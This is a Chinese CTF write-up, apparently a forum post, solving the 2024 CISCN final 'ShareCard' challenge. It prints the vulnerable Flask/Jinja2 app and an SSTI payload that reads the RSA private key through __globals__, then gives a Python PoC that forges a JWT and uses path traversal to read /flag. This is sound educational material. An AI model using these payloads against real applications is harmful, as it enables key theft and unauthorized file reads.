Jinjia2沙箱下SSTI获取属性漏洞的利用
1315609050541697 发表于 湖北 CTF 643浏览 · 2024-07-28 14:25

以2024 CISCN 决赛 ShareCard为例题

app.py源码如下

from flask import Flask, request, url_for, redirect, current_app
from jinja2.sandbox import SandboxedEnvironment
from Crypto.PublicKey import RSA
from pydantic import BaseModel
from io import BytesIO
import qrcode
import base64
import json
import jwt
import os

class SaferSandboxedEnvironment(SandboxedEnvironment):

    def is_safe_attribute(self, obj, attr: str, value) -> bool:

        return True



    def is_safe_callable(self, obj) -> bool:

        return False



class Info(BaseModel):

    name: str

    avatar: str

    signature: str

    def parse_avatar(self):

        self.avatar = base64.b64encode(open('avatars/'+self.avatar,'rb').read()).decode()



def safer_render_template(template_name, **kwargs):

    env = SaferSandboxedEnvironment(loader=current_app.jinja_env.loader)

    return env.from_string(open('templates/'+template_name,encoding='utf-8').read()).render(**kwargs)


app = Flask(__name__)
rsakey = RSA.generate(1024)

@app.route("/createCard", methods=["GET", "POST"])

def create_card():

    if request.method == "GET":

        return safer_render_template("create.html")

    if request.form.get('style')!=None:

        open('templates/style.css','w',encoding='utf-8').write(request.form.get('style'))

    info=Info(**request.form)

    if info.avatar not in os.listdir('avatars'):

        raise FileNotFoundError

    token = jwt.encode(dict(info), rsakey.exportKey(), algorithm="RS256")

    share_url = request.url_root + url_for('show_card', token=token)

    qr_img = BytesIO()

    qrcode.make(share_url).save(qr_img,'png')

    qr_img.seek(0)

    share_img = base64.b64encode(qr_img.getvalue()).decode()

    return safer_render_template("created.html", share_url=share_url, share_img=share_img)



@app.route("/showCard", methods=["GET"])

def show_card():
    token = request.args.get("token")
    data = jwt.decode(token, rsakey.publickey().exportKey(), algorithms=jwt.algorithms.get_default_algorithms())
    info = Info(**data)
    info.parse_avatar()
    return safer_render_template("show.html", info=info)



@app.route("/", methods=["GET"])
def index():
    return redirect(url_for('create_card'))


if __name__ == "__main__":

    app.run(host="0.0.0.0", port=8888, debug=True)

函数分析

题目自定义了safer_render_template函数进行模板渲染,对其分析:

is_safe_attribute 方法

这个方法被用来判断是否允许访问对象的某个属性。在这个例子中,由于 is_safe_attribute 总是返回 True,这意味着所有属性访问都被认为是安全的。然而,在实际应用中,你可能会根据 objattr 的值来决定是否允许访问。

is_safe_callable 方法

这个方法被用来判断是否允许调用对象上的某个方法或函数。在这个例子中,由于 is_safe_callable 总是返回 False,这意味着不允许在模板中调用任何方法或函数,这可以防止执行可能有副作用的操作,如文件读取或写入。

漏洞分析

观察模板代码show.html中有这样的代码:

<style>
{% include 'style.css' %}
</style>

由此漏洞点可以进行SSTI,但是由于沙盒的waf,我们正常的ssti只能访问属性,而不能调用方法,例如:

{{"".__class__}}  
会回显

{{''.__class__.__base__.__subclasses__()}} 
而这个则会被沙箱waf掉

所以需要我们换一种思路,只用SSTI来读取属性值,最后达成目的。

通过分析代码我们发现这里如果我们知道了rsakey那么我们便可以伪造token,进行路径穿越读取/flag文件。

rsakey = RSA.generate(1024)
def parse_avatar(self):
        self.avatar = base64.b64encode(open('avatars/'+self.avatar,'rb').read()).decode()

def show_card():
    token = request.args.get("token")
    data = jwt.decode(token, rsakey.publickey().exportKey(), algorithms=jwt.algorithms.get_default_algorithms())
    info = Info(**data)
    info.parse_avatar()
    return safer_render_template("show.html", info=info)

知识点:在函数或类方法中,我们经常会看到__init__初始化方法,但是它作为类的一个内置方法,在没有被重写作为函数的时候,其数据类型会被当做装饰器,而装饰器的特点就是都具有一个全局属性__globals__属性,__globals__ 属性是函数对象的一个属性,用于访问该函数所在模块的全局命名空间。具体来说就是,__globals__ 属性返回一个字典,里面包含了函数定义时所在模块的全局变量。

看到这里思路变清晰了,首先我们构造style.css文件来进行SSTI通过info这个类的一个方法进而获取rsakey这个全局变量的值。

@app.route("/createCard", methods=["GET", "POST"])
def create_card():
    if request.method == "GET":
        return safer_render_template("create.html")
    if request.form.get('style')!=None:
        open('templates/style.css','w',encoding='utf-8').write(request.form.get('style'))

经过测试,由于沙箱环境的限制,只能通过传入的kwarge来获取局部的属性

safer_render_template(template_name, **kwargs):

由于 info在showCard路由下被传参了,所以我们可以在这里进行SSTI获取key
payload:

?style={{info.__class__.parse_avatar.__globals__.rsakey}}

然后借助正常的token去访问showCard路由,查看源代码,发现获取成功

<style>
{'_n': Integer(161210744376063743996764747306366133556310977538280316573133870284852521447300715823157203876118062161600512936536880635296933563019776913026894678633981811509001121523442060146157146296553896781975789811762380380617864123998172778986952639624663036839985840053324944429694336951018267860467124312337917968711), '_e': Integer(65537), '_d': Integer(58474162838329482436167251943074637896666713498500550001041423889960964242862947132004538992342348820887233063321275890290386441145072659536121989916347987070384272280696919747027814798954680927271161977143815439521211281831686152983211937525133648750611288996377748234485868759595213211419069491083778124341), '_p': Integer(12637141834515819030710639528165921340101574762658314972529676369204783083260788092211621451868051773065978347422140325719345281755496936463587317913415939), '_q': Integer(12756899185522229426614451976564930227255225075173299994668773704759679375936470287946267322228747878253874081134343992836485588793951281894040664470954349), '_u': Integer(9054644039266166228856335219269008530949431695458793028635262750029111876459058649346299421342091627888461961088958525824059156838014612693866747961228583), '_dp': Integer(426527881013000163204478914755069930028910132825734969852688468020827626839386350610679565001939828219508737117929938820684373151702995612515909291308361), '_dq': Integer(8945615696004472248636958809328997336679560840132129146207376491899851764345520317120811256659086718051074830198072033794442348661116912003973737233801501), '_invq': None}
</style>

再根据token生成的代码逻辑,来伪造token

data = jwt.decode(token, rsakey.publickey().exportKey(), algorithms=jwt.algorithms.get_default_algorithms())

伪造数据poc:

from Crypto.PublicKey import RSA

import jwt

n=161210744376063743996764747306366133556310977538280316573133870284852521447300715823157203876118062161600512936536880635296933563019776913026894678633981811509001121523442060146157146296553896781975789811762380380617864123998172778986952639624663036839985840053324944429694336951018267860467124312337917968711

e=65537

d=58474162838329482436167251943074637896666713498500550001041423889960964242862947132004538992342348820887233063321275890290386441145072659536121989916347987070384272280696919747027814798954680927271161977143815439521211281831686152983211937525133648750611288996377748234485868759595213211419069491083778124341

p=12637141834515819030710639528165921340101574762658314972529676369204783083260788092211621451868051773065978347422140325719345281755496936463587317913415939

q=12756899185522229426614451976564930227255225075173299994668773704759679375936470287946267322228747878253874081134343992836485588793951281894040664470954349

u=9054644039266166228856335219269008530949431695458793028635262750029111876459058649346299421342091627888461961088958525824059156838014612693866747961228583

rsa= RSA.RsaKey(n=n,e=e,d=d,p=p,q=q,u=u)



pem='''-----BEGIN PUBLIC KEY-----

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDlklxDiGoZDmdxeKpfItmSAhIo

8rrSLuotyyguzlc+1DWBhbfeRZYs+r3qbtamY7qGMfWhoMEFPqslmH8uWKW55gOC

djgNb00J492B1KCg0r3xW3UtFmlZ1IllhfGWJ65x3yHpcN9bZuKUY3HRq7XlzLsj

wf1oX0rqviwu3riBRwIDAQAB

-----END PUBLIC KEY-----'''

info={

"name":"aaa",

"avatar":"../flag",

"signature":"aaa"

}

token = jwt.encode(dict(info), rsa.exportKey(), algorithm="RS256")

print(token)

查看源码得到:

<src="data:image/svg+xml;base64,ZmxhZ3t4eHh9" />

解码拿到flag :flag{xxx}

以CISCN 2024决赛的shareCard题目为例,以上便是针对于沙箱下的SSTI利用的另一种方式,利用读取全局属性来配合其他漏洞达成目的。

0 条评论
某人
表情
可输入 255